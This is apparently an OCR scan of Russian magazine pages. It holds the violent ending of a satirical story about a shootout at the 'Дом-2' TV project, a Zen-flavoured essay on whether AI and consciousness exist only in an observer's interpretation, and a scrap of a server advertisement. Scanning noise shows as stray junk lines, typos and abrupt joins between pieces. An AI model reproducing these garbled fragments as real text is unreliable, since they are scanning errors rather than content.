Выстрелы теперь сливались в непрерывное тарахтение. Лишь изред- 
ка, когда заканчивались патроны, командир делал паузу на перезарядку. 

— Ты должен дойти... И привести сюда других... — он уже не говорил, а 
шептал. «Второй» прижал пальцем наушник, чтобы не пропустить ни звука. 
— Убил, кажется, троих... У тебя осталась пара минут, парень. Вертолет... 
уже на подлете. Убей... Убей их всех... 

Потом что-то взорвалось — так, что «номер два» услышал это и без 
лингафонной связи. За забором поднялось белое облако снега, которое 
взметнула вверх граната. 

А командир не сказал больше ни слова. 

«Вот оно! Вот при чем здесь зомби, вот почему тут эти камеры...» Он 
оглянулся, увидел расстрелянную дверь, трупы в воде и уже собрался выбе- 
жать на улицу, как вдруг заметил в спортзале какое-то шевеление. Ничего 
особенного, просто тень. 

Что-то шевельнулось и исчезло. 

И вот тогда он решил убить хотя бы 
одного. 

Наверное, это было неправильное 
решение. Даже наверняка неправильное. 
Но он вспомнил трех медведей, жетоны 
на лестнице, качающегося мертвеца и 
понял, что не сможет уйти не забрав хотя 
бы одну жизнь. 

Он поднял ствол перед собой и по- 
шел назад, пригнувшись — под самой 
стеной. 

И когда над головой свистнула пу- 
ля, он был в полной готовности. 

Тренированный глаз отметил 
вспышку выстрела, тело сложилось попо- 
лам. Он перекатился вперед, встал на од- 
но колено и выстрелил точно по красно- 
му штриху лазера, заметному в легком 
мареве, поднимающемся от воды. 

Короткая очередь прошла строго 
сквозь простреленное стекло двери. В 
спортзале кто-то вскрикнул, раздался 
звук падения металлического предмета. 
И тогда он выстрелил второй раз — про- 
сто на голос. 

С его места было видно неважно: 
попал второй раз или нет? Он распря- 
мился и вошел в двери. 

На полу за велотренажером лежала 
женщина — лицом вниз и поджав к живо- 


ту длинные ноги в модельных сапогах на высоком каблуке. Пальцы ее рук 
скребли по полу, слышался слабый стон. Она была безо всякого спецснаря- 
жения, вот только автомат, который лежал рядом с ней, был оборудован ла- 
зерным прицелом — таким же, как и у солдата. Он сделал было пару шагов 
к ней, но потом подумал, что это неразумно. 

Подняв автомат к плечу, он выстрелил ей в голову. Мозги разметало 
по стенам и зеркалам. Ее пальцы в последний раз сжались в кулак и мед- 
ленно расслабились. «Номер два» выждал несколько секунд и подошел к 
ней вплотную. 

Она не была похожа на бойца спецназа — просто женщина с длинны- 
ми распущенными волосами, которые сейчас частично были испачканы 
кровью. Блузка, мини-юбка... Колготки в сеточку. 

И она пыталась его убить. Почему она? Зачем она стреляла? И откуда 
у нее такое оружие? 

Он опустил ствол и перевернул ее на спину. 

— Не может быть! — отшатнулся он на пару шагов, когда увидел ее лицо, 
чудом уцелевшее после попадания в голову. — Это же... 

Он так и не успел понять, какая же ценность была заключена в этой 
тайне. Спустя секунду пуля снайпера пробила его шлем и смешала кровь 
бойца с кровью девушки. «Номер второй» рухнул на нее сверху, подбросив 
вверх жетоны всех убитых солдат, которые держал намотанными на ладонь 
левой руки. 

Два солдата в темно-коричневых камуфляжах приблизились к телам 
через минуту, когда стало ясно, что опасности больше нет. 

— Чья это была идея? — спросил первый, оттаскивая убитого бойца 

за ноги. 

— Ее, — второй махнул рукой на убитую девушку. — Сказала, хочет своими 
руками убить хотя бы одного из них. Сказала, считает своим долгом защи- 
щать этот проект. Тоже мне, идейная... А ноги красивые, я всегда загляды- 
вался в камеру... 

— Давай помогай, эротоман, — пробурчал напарник. — А здорово ты про 
медведей придумал... 

— Да, весело получилось. Как в сказке. 

— Вот завтра тут будет сказка, — в голосе просквозил лед и легкий страх 
перед будущим. — Кто это все разгребать будет? 

— Ну, Бородина же осталась... Пусть чего-нибудь придумает... 

— Придумает... Во всех домиках, где вырубили поддерживающее излуче- 
ние, народ дуба дал. Представляешь, сколько людей придется заменять — 
и как все с экрана объяснить? 

Они задумались, глядя на мертвую ведущую «Дома-2». Потом один из 
них махнул рукой и произнес: 

— Да хрен с ними со всеми. Ты же знаешь, Show must go on... 

...На следующий день «Дом-2» появился на экранах уже с новой веду- 
щей. Телесигнал снова накрыл страну © 
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Считается, что основной концепцией Дзена является вера (тезис) в то, что 
окружающий мир не существует, а существует только сознание мира (мир 
существует только в сознании). В действительности так описывают только 
внешнюю сторону Дзен-учения, создающую нездоровый антураж: так мы не 
приближаемся к истине, а изгоняем из мозга устоявшиеся стереотипы, по- 
могая себе совершить свой первый, начальный шаг. 

На более глубоком уровне познания Дзен ничего не отрицает, он «все- 
го лишь» доказывает, что посредством «чистого» сознания невозможно ни 
обнаружить, ни опровергнуть существование «внешнего» мира (материаль- 
ного, физического). Может быть, все мы «спим» и являемся частью чьего-то 
сна (прямо как в Матрице), а может, и нет. Кто знает? 

Сознание замыкается на словах, слова (в их различных проекциях и 
комбинациях) вновь возвращаются в сознание, категориями которого опе- 
рирует логика. Она не имеет никакого отношения ни к «Реальному», ни к 
физическому миру, поэтому категорически непригодна для описания приро- 
ды (и она уже доказала свою несостоятельность). 

Физика постулирует, что материальный мир существует независимо 
от нашего сознания и, исходя из этого, вполне успешно исследует его 
устройство через призму причинно-следственных связей, «упаковывая» их в 
прокрустово ложе законов и моделей, каждая из которых по отдельности 
описывает лишь крошечную часть общей картины. Однако физика и не пре- 
тендует на «истинную» природу вещей — это не ее прерогатива. Физика 
оперирует тем миром, который дан нам в ощущениях, дополненных показа- 
ниями приборов, и перекладывает решение «морально-идеологических» во- 
просов на плечи философии, обеспокоенной проблемами: «Существует ли 
в действительности мир, окружающий нас, и зачем? Что 
есть время, пространство, сознание, разум? Может ли человек создать мы- 
слящую машину?» ит.д. 

Предположим, что все-таки искусственный интеллект будет создан. 
(По правде говоря, я не думаю, что он будет соответствовать нашим совре- 
менным представлениям о нем: колесо отнюдь не имитирует шагоход, а са- 
молет летает совсем не так же, как птица. Рассуждая по аналогии, можно 
предположить, что ИИ не будет иметь ничего общего ни с нейросетями, ни с 
квантовыми вычислителями.) 

Возьмем компьютерного монстра из очередного ЗО-шутера и наделим 
его разумом и (само)сознанием. Монстр будет бродить в коридорах несуще- 
ствующей вселенной, обсчитываемой процессором, и думать, думать, ду- 
мать... исследуя свой мир и — чем черт не шутит — даже пытаться познать 
себя. (Он будет предпринимать попытки только попутно, так как даже если 
«думающая машина» будет создана, неизвестно, сможет ли она объяснить 
то, каким образом она думает.) 

На секунду оторвемся от иллюзий и вспомним, что можно реализовать 
любую ЭВМ не только в кремнии, но и, скажем, собрать ее из шестеренок 


(машина Бэббиджа), а то и просто из длинной ленты с ерзающей головкой 
(машина Тьюринга). Где же тогда окажется интеллект нашего подопечного? 
Очевидно, не в самих шестеренках. Может быть, в их комбинациях? Любая 
комбинация бессмысленна сама по себе, а смыл ей придается лишь опре- 
деленной схемой интерпретации, причем обязательно внешней по отноше- 
нию к монстру. «Внутри» монстра все комбинации равноправны! В зависи- 
мости от выбранной схемы интерпретации, всякая комбинация (шестеренок, 
перемещений магнитной головки, битов и байтов), взятая наугад, может 
представлять л ю бу ю, абсолютно любую программу! Если так, то полу- 
чается, что самосознание носителя искусственного интеллекта заключается 
отнюдь не в нем самом, а существует то лько в сознании тех, кто на- 
блюдает за ним. 

Если говорить на дзенский манер, монстр мыслит тогда и только тогда, 
когда на него «смотрят». Весь вопрос в том, может ли существовать некая 
закономерность «сама в себе» или она возникает то лько при выборе 
определенного способа интерпретации в не ш ним наблюдателем? 

Ладно, оставим ИИ и поставим вопрос так: заключено ли человече- 
ское сознание в комбинации возбужденных и заторможенных нейронов или 
оно сосредоточенов интерпретации этой комбинации 
чем -то (кем-то) еще? Я намекаю совсем не на душу, а на природу 
физических законов, которые, по сути, и являются «исполнителями» вирту- 
альной сущности, называемой «разумом». Грубо говоря, наш мир — чья-то 
суперЭВМ, построенная с неведомой целью, а мы — лишь «биты» данных, 
обрабатываемые суперпроцессором. 

Чтобы понять, что представляет собой интеллект, нужно выйти за его 
пределы. Сознание — совокупность мето- 
дов интерпретации определенных 
комбинаций материальных сущностей 
(или воображаемых }, но никакого «материального экви- 
валента» сознанию не существует. Искать сознание в нейронах — то же 
самое, что, растерев телевизор в порошок, пытаться обнаружить следы 
движущегося изображения. 

В действительности никакого реального 
мира нет, есть только «физические», «философские» и «религиозные» мо- 
дели. Воистину это так! Всякая попытка постичь истинную природу мира не- 
избежно сталкивается с необходимостью выбирать ту или иную схему ин- 
терпретации. 

Сможет ли наблюдатель познавать мр научным путем (а не 
философско-религиозным!), если будет полностью изолирован? Никаких 
физических приборов, которые могли бы что-то зафиксировать. Никаких 
органов чувств, которые могли бы услышать или увидеть что-то — одно 
лишь сознание в чистом виде. 

И что случится с миром, из которого исчезнут все наблюдатели? © 


oh. 


| ла ТЕ 
| ЕЕ 
я СНЫ 


веснням+ 10 


Г“ 4 | 3 
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Нет. Однако воспользовавшись сервером Эксилон Ма]ог HD» 


на базе двухъядерных процессоров Intel® Xeon®, 
Вы получите не менее важное преимущество: _ 
возможность выполнять больше ‚задач на оном сервере." 
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